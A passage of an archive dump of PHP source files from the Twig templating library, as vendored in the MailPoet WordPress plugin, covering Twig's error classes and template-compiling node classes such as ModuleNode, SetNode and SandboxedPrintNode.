\ArrayIterator($this->profiles); } public function serialize() { return \serialize($this->__serialize()); } public function unserialize($data) { $this->__unserialize(\unserialize($data)); } public function __serialize() { return [$this->template, $this->name, $this->type, $this->starts, $this->ends, $this->profiles]; } public function __unserialize(array $data) { list($this->template, $this->name, $this->type, $this->starts, $this->ends, $this->profiles) = $data; } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Profile', 'MailPoetVendor\\Twig_Profiler_Profile'); twig/src/Profiler/index.php000066600000000000150351206230011676 0ustar00twig/src/Error/RuntimeError.php000066600000000354150351206230012547 0ustar00<?php
 namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; class RuntimeError extends \MailPoetVendor\Twig\Error\Error { } \class_alias('MailPoetVendor\\Twig\\Error\\RuntimeError', 'MailPoetVendor\\Twig_Error_Runtime'); twig/src/Error/index.php000066600000000000150351206230011205 0ustar00twig/src/Error/SyntaxError.php000066600000001167150351206230012415 0ustar00<?php
 namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; class SyntaxError extends \MailPoetVendor\Twig\Error\Error { public function addSuggestions($name, array $items) { $alternatives = []; foreach ($items as $item) { $lev = \levenshtein($name, $item); if ($lev <= \strlen($name) / 3 || \false !== \strpos($item, $name)) { $alternatives[$item] = $lev; } } if (!$alternatives) { return; } \asort($alternatives); $this->appendMessage(\sprintf(' Did you mean "%s"?', \implode('", "', \array_keys($alternatives)))); } } \class_alias('MailPoetVendor\\Twig\\Error\\SyntaxError', 'MailPoetVendor\\Twig_Error_Syntax'); twig/src/Error/Error.php000066600000010401150351206230011175 0ustar00<?php
 namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Source; use MailPoetVendor\Twig\Template; class Error extends \Exception { private $lineno; private $name; private $rawMessage; private $sourcePath; private $sourceCode; public function __construct(string $message, int $lineno = -1, $source = null, \Exception $previous = null) { parent::__construct('', 0, $previous); if (null === $source) { $name = null; } elseif (!$source instanceof \MailPoetVendor\Twig\Source && !$source instanceof \MailPoetVendor\Twig_Source) { @\trigger_error(\sprintf('Passing a string as a source to %s is deprecated since Twig 2.6.1; pass a Twig\\Source instance instead.', __CLASS__), \E_USER_DEPRECATED); $name = $source; } else { $name = $source->getName(); $this->sourceCode = $source->getCode(); $this->sourcePath = $source->getPath(); } $this->lineno = $lineno; $this->name = $name; $this->rawMessage = $message; $this->updateRepr(); } public function getRawMessage() { return $this->rawMessage; } public function getTemplateLine() { return $this->lineno; } public function setTemplateLine($lineno) { $this->lineno = $lineno; $this->updateRepr(); } public function getSourceContext() { return $this->name ? new \MailPoetVendor\Twig\Source($this->sourceCode, $this->name, $this->sourcePath) : null; } public function setSourceContext(\MailPoetVendor\Twig\Source $source = null) { if (null === $source) { $this->sourceCode = $this->name = $this->sourcePath = null; } else { $this->sourceCode = $source->getCode(); $this->name = $source->getName(); $this->sourcePath = $source->getPath(); } $this->updateRepr(); } public function guess() { $this->guessTemplateInfo(); $this->updateRepr(); } public function appendMessage($rawMessage) { $this->rawMessage .= $rawMessage; $this->updateRepr(); } private function updateRepr() { $this->message = $this->rawMessage; if ($this->sourcePath && $this->lineno > 0) { $this->file = $this->sourcePath; $this->line = $this->lineno; return; } $dot = \false; if ('.' === \substr($this->message, -1)) { $this->message = \substr($this->message, 0, -1); $dot = \true; } $questionMark = \false; if ('?' === \substr($this->message, -1)) { $this->message = \substr($this->message, 0, -1); $questionMark = \true; } if ($this->name) { if (\is_string($this->name) || \is_object($this->name) && \method_exists($this->name, '__toString')) { $name = \sprintf('"%s"', $this->name); } else { $name = \json_encode($this->name); } $this->message .= \sprintf(' in %s', $name); } if ($this->lineno && $this->lineno >= 0) { $this->message .= \sprintf(' at line %d', $this->lineno); } if ($dot) { $this->message .= '.'; } if ($questionMark) { $this->message .= '?'; } } private function guessTemplateInfo() { $template = null; $templateClass = null; $backtrace = \debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS | \DEBUG_BACKTRACE_PROVIDE_OBJECT); foreach ($backtrace as $trace) { if (isset($trace['object']) && $trace['object'] instanceof \MailPoetVendor\Twig\Template && 'Twig_Template' !== \get_class($trace['object'])) { $currentClass = \get_class($trace['object']); $isEmbedContainer = 0 === \strpos($templateClass, $currentClass); if (null === $this->name || $this->name == $trace['object']->getTemplateName() && !$isEmbedContainer) { $template = $trace['object']; $templateClass = \get_class($trace['object']); } } } if (null !== $template && null === $this->name) { $this->name = $template->getTemplateName(); } if (null !== $template && null === $this->sourcePath) { $src = $template->getSourceContext(); $this->sourceCode = $src->getCode(); $this->sourcePath = $src->getPath(); } if (null === $template || $this->lineno > -1) { return; } $r = new \ReflectionObject($template); $file = $r->getFileName(); $exceptions = [$e = $this]; while ($e = $e->getPrevious()) { $exceptions[] = $e; } while ($e = \array_pop($exceptions)) { $traces = $e->getTrace(); \array_unshift($traces, ['file' => $e->getFile(), 'line' => $e->getLine()]); while ($trace = \array_shift($traces)) { if (!isset($trace['file']) || !isset($trace['line']) || $file != $trace['file']) { continue; } foreach ($template->getDebugInfo() as $codeLine => $templateLine) { if ($codeLine <= $trace['line']) { $this->lineno = $templateLine; return; } } } } } } \class_alias('MailPoetVendor\\Twig\\Error\\Error', 'MailPoetVendor\\Twig_Error'); twig/src/Error/LoaderError.php000066600000000351150351206230012327 0ustar00<?php
 namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; class LoaderError extends \MailPoetVendor\Twig\Error\Error { } \class_alias('MailPoetVendor\\Twig\\Error\\LoaderError', 'MailPoetVendor\\Twig_Error_Loader'); twig/src/Node/SandboxedPrintNode.php000066600000001452150351206230013440 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; class SandboxedPrintNode extends \MailPoetVendor\Twig\Node\PrintNode { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('echo '); $expr = $this->getNode('expr'); if ($expr instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->subcompile($expr)->raw(";\n"); } else { $compiler->write('$this->extensions[SandboxExtension::class]->ensureToStringAllowed(')->subcompile($expr)->raw(', ')->repr($expr->getTemplateLine())->raw(", \$this->source);\n"); } } } \class_alias('MailPoetVendor\\Twig\\Node\\SandboxedPrintNode', 'MailPoetVendor\\Twig_Node_SandboxedPrint'); twig/src/Node/Node.php000066600000007200150351206230010570 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Source; class Node implements \Countable, \IteratorAggregate { protected $nodes; protected $attributes; protected $lineno; protected $tag; private $name; private $sourceContext; public function __construct(array $nodes = [], array $attributes = [], int $lineno = 0, string $tag = null) { foreach ($nodes as $name => $node) { if (!$node instanceof self) { throw new \InvalidArgumentException(\sprintf('Using "%s" for the value of node "%s" of "%s" is not supported. You must pass a \\Twig\\Node\\Node instance.', \is_object($node) ? \get_class($node) : (null === $node ? 'null' : \gettype($node)), $name, \get_class($this))); } } $this->nodes = $nodes; $this->attributes = $attributes; $this->lineno = $lineno; $this->tag = $tag; } public function __toString() { $attributes = []; foreach ($this->attributes as $name => $value) { $attributes[] = \sprintf('%s: %s', $name, \str_replace("\n", '', \var_export($value, \true))); } $repr = [\get_class($this) . '(' . \implode(', ', $attributes)]; if (\count($this->nodes)) { foreach ($this->nodes as $name => $node) { $len = \strlen($name) + 4; $noderepr = []; foreach (\explode("\n", (string) $node) as $line) { $noderepr[] = \str_repeat(' ', $len) . $line; } $repr[] = \sprintf('  %s: %s', $name, \ltrim(\implode("\n", $noderepr))); } $repr[] = ')'; } else { $repr[0] .= ')'; } return \implode("\n", $repr); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { foreach ($this->nodes as $node) { $node->compile($compiler); } } public function getTemplateLine() { return $this->lineno; } public function getNodeTag() { return $this->tag; } public function hasAttribute($name) { return \array_key_exists($name, $this->attributes); } public function getAttribute($name) { if (!\array_key_exists($name, $this->attributes)) { throw new \LogicException(\sprintf('Attribute "%s" does not exist for Node "%s".', $name, \get_class($this))); } return $this->attributes[$name]; } public function setAttribute($name, $value) { $this->attributes[$name] = $value; } public function removeAttribute($name) { unset($this->attributes[$name]); } public function hasNode($name) { return isset($this->nodes[$name]); } public function getNode($name) { if (!isset($this->nodes[$name])) { throw new \LogicException(\sprintf('Node "%s" does not exist for Node "%s".', $name, \get_class($this))); } return $this->nodes[$name]; } public function setNode($name, self $node) { $this->nodes[$name] = $node; } public function removeNode($name) { unset($this->nodes[$name]); } public function count() { return \count($this->nodes); } public function getIterator() { return new \ArrayIterator($this->nodes); } public function setTemplateName($name) { $triggerDeprecation = 2 > \func_num_args() || \func_get_arg(1); if ($triggerDeprecation) { @\trigger_error('The ' . __METHOD__ . ' method is deprecated since version 2.8 and will be removed in 3.0. Use setSourceContext() instead.', \E_USER_DEPRECATED); } $this->name = $name; foreach ($this->nodes as $node) { $node->setTemplateName($name, $triggerDeprecation); } } public function getTemplateName() { return $this->sourceContext ? $this->sourceContext->getName() : null; } public function setSourceContext(\MailPoetVendor\Twig\Source $source) { $this->sourceContext = $source; foreach ($this->nodes as $node) { $node->setSourceContext($source); } $this->setTemplateName($source->getName(), \false); } public function getSourceContext() { return $this->sourceContext; } } \class_alias('MailPoetVendor\\Twig\\Node\\Node', 'MailPoetVendor\\Twig_Node'); \class_exists('MailPoetVendor\\Twig\\Compiler'); twig/src/Node/BlockNode.php000066600000001423150351206230011544 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class BlockNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(string $name, \MailPoetVendor\Twig\Node\Node $body, int $lineno, string $tag = null) { parent::__construct(['body' => $body], ['name' => $name], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write(\sprintf("public function block_%s(\$context, array \$blocks = [])\n", $this->getAttribute('name')), "{\n")->indent()->write("\$macros = \$this->macros;\n"); $compiler->subcompile($this->getNode('body'))->outdent()->write("}\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\BlockNode', 'MailPoetVendor\\Twig_Node_Block'); twig/src/Node/SetNode.php000066600000004416150351206230011252 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; class SetNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeCaptureInterface { public function __construct(bool $capture, \MailPoetVendor\Twig\Node\Node $names, \MailPoetVendor\Twig\Node\Node $values, int $lineno, string $tag = null) { parent::__construct(['names' => $names, 'values' => $values], ['capture' => $capture, 'safe' => \false], $lineno, $tag); if ($this->getAttribute('capture')) { $this->setAttribute('safe', \true); $values = $this->getNode('values'); if ($values instanceof \MailPoetVendor\Twig\Node\TextNode) { $this->setNode('values', new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($values->getAttribute('data'), $values->getTemplateLine())); $this->setAttribute('capture', \false); } } } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); if (\count($this->getNode('names')) > 1) { $compiler->write('list('); foreach ($this->getNode('names') as $idx => $node) { if ($idx) { $compiler->raw(', '); } $compiler->subcompile($node); } $compiler->raw(')'); } else { if ($this->getAttribute('capture')) { if ($compiler->getEnvironment()->isDebug()) { $compiler->write("ob_start();\n"); } else { $compiler->write("ob_start(function () { return ''; });\n"); } $compiler->subcompile($this->getNode('values')); } $compiler->subcompile($this->getNode('names'), \false); if ($this->getAttribute('capture')) { $compiler->raw(" = ('' === \$tmp = ob_get_clean()) ? '' : new Markup(\$tmp, \$this->env->getCharset())"); } } if (!$this->getAttribute('capture')) { $compiler->raw(' = '); if (\count($this->getNode('names')) > 1) { $compiler->write('['); foreach ($this->getNode('values') as $idx => $value) { if ($idx) { $compiler->raw(', '); } $compiler->subcompile($value); } $compiler->raw(']'); } else { if ($this->getAttribute('safe')) { $compiler->raw("('' === \$tmp = ")->subcompile($this->getNode('values'))->raw(") ? '' : new Markup(\$tmp, \$this->env->getCharset())"); } else { $compiler->subcompile($this->getNode('values')); } } } $compiler->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\SetNode', 'MailPoetVendor\\Twig_Node_Set'); twig/src/Node/TextNode.php000066600000001115150351206230011434 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class TextNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(string $data, int $lineno) { parent::__construct([], ['data' => $data], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('echo ')->string($this->getAttribute('data'))->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\TextNode', 'MailPoetVendor\\Twig_Node_Text'); twig/src/Node/DoNode.php000066600000001217150351206230011055 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; class DoNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, int $lineno, string $tag = null) { parent::__construct(['expr' => $expr], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('')->subcompile($this->getNode('expr'))->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\DoNode', 'MailPoetVendor\\Twig_Node_Do'); twig/src/Node/NodeOutputInterface.php000066600000000331150351206230013630 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; interface NodeOutputInterface { } \class_alias('MailPoetVendor\\Twig\\Node\\NodeOutputInterface', 'MailPoetVendor\\Twig_NodeOutputInterface'); twig/src/Node/ModuleNode.php000066600000024225150351206230011744 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Source; class ModuleNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $body, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $parent = null, \MailPoetVendor\Twig\Node\Node $blocks, \MailPoetVendor\Twig\Node\Node $macros, \MailPoetVendor\Twig\Node\Node $traits, $embeddedTemplates, \MailPoetVendor\Twig\Source $source) { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $nodes = ['body' => $body, 'blocks' => $blocks, 'macros' => $macros, 'traits' => $traits, 'display_start' => new \MailPoetVendor\Twig\Node\Node(), 'display_end' => new \MailPoetVendor\Twig\Node\Node(), 'constructor_start' => new \MailPoetVendor\Twig\Node\Node(), 'constructor_end' => new \MailPoetVendor\Twig\Node\Node(), 'class_end' => new \MailPoetVendor\Twig\Node\Node()]; if (null !== $parent) { $nodes['parent'] = $parent; } parent::__construct($nodes, ['index' => null, 'embedded_templates' => $embeddedTemplates], 1); $this->setSourceContext($source); } public function setIndex($index) { $this->setAttribute('index', $index); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $this->compileTemplate($compiler); foreach ($this->getAttribute('embedded_templates') as $template) { $compiler->subcompile($template); } } protected function compileTemplate(\MailPoetVendor\Twig\Compiler $compiler) { if (!$this->getAttribute('index')) { $compiler->write('<?php'); } $this->compileClassHeader($compiler); $this->compileConstructor($compiler); $this->compileGetParent($compiler); $this->compileDisplay($compiler); $compiler->subcompile($this->getNode('blocks')); $this->compileMacros($compiler); $this->compileGetTemplateName($compiler); $this->compileIsTraitable($compiler); $this->compileDebugInfo($compiler); $this->compileGetSourceContext($compiler); $this->compileClassFooter($compiler); } protected function compileGetParent(\MailPoetVendor\Twig\Compiler $compiler) { if (!$this->hasNode('parent')) { return; } $parent = $this->getNode('parent'); $compiler->write("protected function doGetParent(array \$context)\n", "{\n")->indent()->addDebugInfo($parent)->write('return '); if ($parent instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->subcompile($parent); } else { $compiler->raw('$this->loadTemplate(')->subcompile($parent)->raw(', ')->repr($this->getSourceContext()->getName())->raw(', ')->repr($parent->getTemplateLine())->raw(')'); } $compiler->raw(";\n")->outdent()->write("}\n\n"); } protected function compileClassHeader(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("\n\n"); if (!$this->getAttribute('index')) { $compiler->write("use MailPoetVendor\\Twig\\Environment;\n")->write("use MailPoetVendor\\Twig\\Error\\LoaderError;\n")->write("use MailPoetVendor\\Twig\\Error\\RuntimeError;\n")->write("use MailPoetVendor\\Twig\\Extension\\SandboxExtension;\n")->write("use MailPoetVendor\\Twig\\Markup;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityError;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedTagError;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFilterError;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFunctionError;\n")->write("use MailPoetVendor\\Twig\\Source;\n")->write("use MailPoetVendor\\Twig\\Template;\n\n"); } $compiler->write('/* ' . \str_replace('*/', '* /', $this->getSourceContext()->getName()) . " */\n")->write('class ' . $compiler->getEnvironment()->getTemplateClass($this->getSourceContext()->getName(), $this->getAttribute('index')))->raw(\sprintf(" extends %s\n", $compiler->getEnvironment()->getBaseTemplateClass(\false)))->write("{\n")->indent()->write("private \$source;\n")->write("private \$macros = [];\n\n"); } protected function compileConstructor(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function __construct(Environment \$env)\n", "{\n")->indent()->subcompile($this->getNode('constructor_start'))->write("parent::__construct(\$env);\n\n")->write("\$this->source = \$this->getSourceContext();\n\n"); if (!$this->hasNode('parent')) { $compiler->write("\$this->parent = false;\n\n"); } $countTraits = \count($this->getNode('traits')); if ($countTraits) { foreach ($this->getNode('traits') as $i => $trait) { $node = $trait->getNode('template'); $compiler->addDebugInfo($node)->write(\sprintf('$_trait_%s = $this->loadTemplate(', $i))->subcompile($node)->raw(', ')->repr($node->getTemplateName())->raw(', ')->repr($node->getTemplateLine())->raw(");\n")->write(\sprintf("if (!\$_trait_%s->isTraitable()) {\n", $i))->indent()->write("throw new RuntimeError('Template \"'.")->subcompile($trait->getNode('template'))->raw(".'\" cannot be used as a trait.', ")->repr($node->getTemplateLine())->raw(", \$this->source);\n")->outdent()->write("}\n")->write(\sprintf("\$_trait_%s_blocks = \$_trait_%s->getBlocks();\n\n", $i, $i)); foreach ($trait->getNode('targets') as $key => $value) { $compiler->write(\sprintf('if (!isset($_trait_%s_blocks[', $i))->string($key)->raw("])) {\n")->indent()->write("throw new RuntimeError('Block ")->string($key)->raw(' is not defined in trait ')->subcompile($trait->getNode('template'))->raw(".', ")->repr($node->getTemplateLine())->raw(", \$this->source);\n")->outdent()->write("}\n\n")->write(\sprintf('$_trait_%s_blocks[', $i))->subcompile($value)->raw(\sprintf('] = $_trait_%s_blocks[', $i))->string($key)->raw(\sprintf(']; unset($_trait_%s_blocks[', $i))->string($key)->raw("]);\n\n"); } } if ($countTraits > 1) { $compiler->write("\$this->traits = array_merge(\n")->indent(); for ($i = 0; $i < $countTraits; ++$i) { $compiler->write(\sprintf('$_trait_%s_blocks' . ($i == $countTraits - 1 ? '' : ',') . "\n", $i)); } $compiler->outdent()->write(");\n\n"); } else { $compiler->write("\$this->traits = \$_trait_0_blocks;\n\n"); } $compiler->write("\$this->blocks = array_merge(\n")->indent()->write("\$this->traits,\n")->write("[\n"); } else { $compiler->write("\$this->blocks = [\n"); } $compiler->indent(); foreach ($this->getNode('blocks') as $name => $node) { $compiler->write(\sprintf("'%s' => [\$this, 'block_%s'],\n", $name, $name)); } if ($countTraits) { $compiler->outdent()->write("]\n")->outdent()->write(");\n"); } else { $compiler->outdent()->write("];\n"); } $compiler->subcompile($this->getNode('constructor_end'))->outdent()->write("}\n\n"); } protected function compileDisplay(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("protected function doDisplay(array \$context, array \$blocks = [])\n", "{\n")->indent()->write("\$macros = \$this->macros;\n")->subcompile($this->getNode('display_start'))->subcompile($this->getNode('body')); if ($this->hasNode('parent')) { $parent = $this->getNode('parent'); $compiler->addDebugInfo($parent); if ($parent instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->write('$this->parent = $this->loadTemplate(')->subcompile($parent)->raw(', ')->repr($this->getSourceContext()->getName())->raw(', ')->repr($parent->getTemplateLine())->raw(");\n"); $compiler->write('$this->parent'); } else { $compiler->write('$this->getParent($context)'); } $compiler->raw("->display(\$context, array_merge(\$this->blocks, \$blocks));\n"); } $compiler->subcompile($this->getNode('display_end'))->outdent()->write("}\n\n"); } protected function compileClassFooter(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('class_end'))->outdent()->write("}\n"); } protected function compileMacros(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('macros')); } protected function compileGetTemplateName(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function getTemplateName()\n", "{\n")->indent()->write('return ')->repr($this->getSourceContext()->getName())->raw(";\n")->outdent()->write("}\n\n"); } protected function compileIsTraitable(\MailPoetVendor\Twig\Compiler $compiler) { $traitable = !$this->hasNode('parent') && 0 === \count($this->getNode('macros')); if ($traitable) { if ($this->getNode('body') instanceof \MailPoetVendor\Twig\Node\BodyNode) { $nodes = $this->getNode('body')->getNode(0); } else { $nodes = $this->getNode('body'); } if (!\count($nodes)) { $nodes = new \MailPoetVendor\Twig\Node\Node([$nodes]); } foreach ($nodes as $node) { if (!\count($node)) { continue; } if ($node instanceof \MailPoetVendor\Twig\Node\TextNode && \ctype_space($node->getAttribute('data'))) { continue; } if ($node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode) { continue; } $traitable = \false; break; } } if ($traitable) { return; } $compiler->write("public function isTraitable()\n", "{\n")->indent()->write(\sprintf("return %s;\n", $traitable ? 'true' : 'false'))->outdent()->write("}\n\n"); } protected function compileDebugInfo(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function getDebugInfo()\n", "{\n")->indent()->write(\sprintf("return %s;\n", \str_replace("\n", '', \var_export(\array_reverse($compiler->getDebugInfo(), \true), \true))))->outdent()->write("}\n\n"); } protected function compileGetSourceContext(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function getSourceContext()\n", "{\n")->indent()->write('return new Source(')->string($compiler->getEnvironment()->isDebug() ? $this->getSourceContext()->getCode() : '')->raw(', ')->string($this->getSourceContext()->getName())->raw(', ')->string($this->getSourceContext()->getPath())->raw(");\n")->outdent()->write("}\n"); } protected function compileLoadTemplate(\MailPoetVendor\Twig\Compiler $compiler, $node, $var) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->write(\sprintf('%s = $this->loadTemplate(', $var))->subcompile($node)->raw(', ')->repr($node->getTemplateName())->raw(', ')->repr($node->getTemplateLine())->raw(");\n"); } else { throw new \LogicException('Trait templates can only be constant nodes.'); } } } \class_alias('MailPoetVendor\\Twig\\Node\\ModuleNode', 'MailPoetVendor\\Twig_Node_Module'); twig/src/Node/PrintNode.php000066600000001326150351206230011610 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; class PrintNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, int $lineno, string $tag = null) { parent::__construct(['expr' => $expr], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('echo ')->subcompile($this->getNode('expr'))->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\PrintNode', 'MailPoetVendor\\Twig_Node_Print'); twig/src/Node/NodeCaptureInterface.php000066600000000334150351206230013736 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; interface NodeCaptureInterface { } \class_alias('MailPoetVendor\\Twig\\Node\\NodeCaptureInterface', 'MailPoetVendor\\Twig_NodeCaptureInterface'); twig/src/Node/WithNode.php000066600000003156150351206230011432 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class WithNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $body, \MailPoetVendor\Twig\Node\Node $variables = null, bool $only = \false, int $lineno, string $tag = null) { $nodes = ['body' => $body]; if (null !== $variables) { $nodes['variables'] = $variables; } parent::__construct($nodes, ['only' => $only], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); if ($this->hasNode('variables')) { $node = $this->getNode('variables'); $varsName = $compiler->getVarName(); $compiler->write(\sprintf('$%s = ', $varsName))->subcompile($node)->raw(";\n")->write(\sprintf("if (!twig_test_iterable(\$%s)) {\n", $varsName))->indent()->write("throw new RuntimeError('Variables passed to the \"with\" tag must be a hash.', ")->repr($node->getTemplateLine())->raw(", \$this->getSourceContext());\n")->outdent()->write("}\n")->write(\sprintf("\$%s = twig_to_array(\$%s);\n", $varsName, $varsName)); if ($this->getAttribute('only')) { $compiler->write("\$context = ['_parent' => \$context];\n"); } else { $compiler->write("\$context['_parent'] = \$context;\n"); } $compiler->write(\sprintf("\$context = \$this->env->mergeGlobals(array_merge(\$context, \$%s));\n", $varsName)); } else { $compiler->write("\$context['_parent'] = \$context;\n"); } $compiler->subcompile($this->getNode('body'))->write("\$context = \$context['_parent'];\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\WithNode', 'MailPoetVendor\\Twig_Node_With'); twig/src/Node/DeprecatedNode.php000066600000002221150351206230012547 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; class DeprecatedNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, int $lineno, string $tag = null) { parent::__construct(['expr' => $expr], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); $expr = $this->getNode('expr'); if ($expr instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->write('@trigger_error(')->subcompile($expr); } else { $varName = $compiler->getVarName(); $compiler->write(\sprintf('$%s = ', $varName))->subcompile($expr)->raw(";\n")->write(\sprintf('@trigger_error($%s', $varName)); } $compiler->raw('.')->string(\sprintf(' ("%s" at line %d).', $this->getTemplateName(), $this->getTemplateLine()))->raw(", E_USER_DEPRECATED);\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\DeprecatedNode', 'MailPoetVendor\\Twig_Node_Deprecated'); twig/src/Node/FlushNode.php000066600000000741150351206230011575 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class FlushNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(int $lineno, string $tag) { parent::__construct([], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write("flush();\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\FlushNode', 'MailPoetVendor\\Twig_Node_Flush'); twig/src/Node/IfNode.php000066600000002107150351206230011050 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class IfNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $tests, \MailPoetVendor\Twig\Node\Node $else = null, int $lineno, string $tag = null) { $nodes = ['tests' => $tests]; if (null !== $else) { $nodes['else'] = $else; } parent::__construct($nodes, [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); for ($i = 0, $count = \count($this->getNode('tests')); $i < $count; $i += 2) { if ($i > 0) { $compiler->outdent()->write('} elseif ('); } else { $compiler->write('if ('); } $compiler->subcompile($this->getNode('tests')->getNode($i))->raw(") {\n")->indent()->subcompile($this->getNode('tests')->getNode($i + 1)); } if ($this->hasNode('else')) { $compiler->outdent()->write("} else {\n")->indent()->subcompile($this->getNode('else')); } $compiler->outdent()->write("}\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\IfNode', 'MailPoetVendor\\Twig_Node_If'); twig/src/Node/ImportNode.php000066600000002564150351206230011773 0ustar00<?php
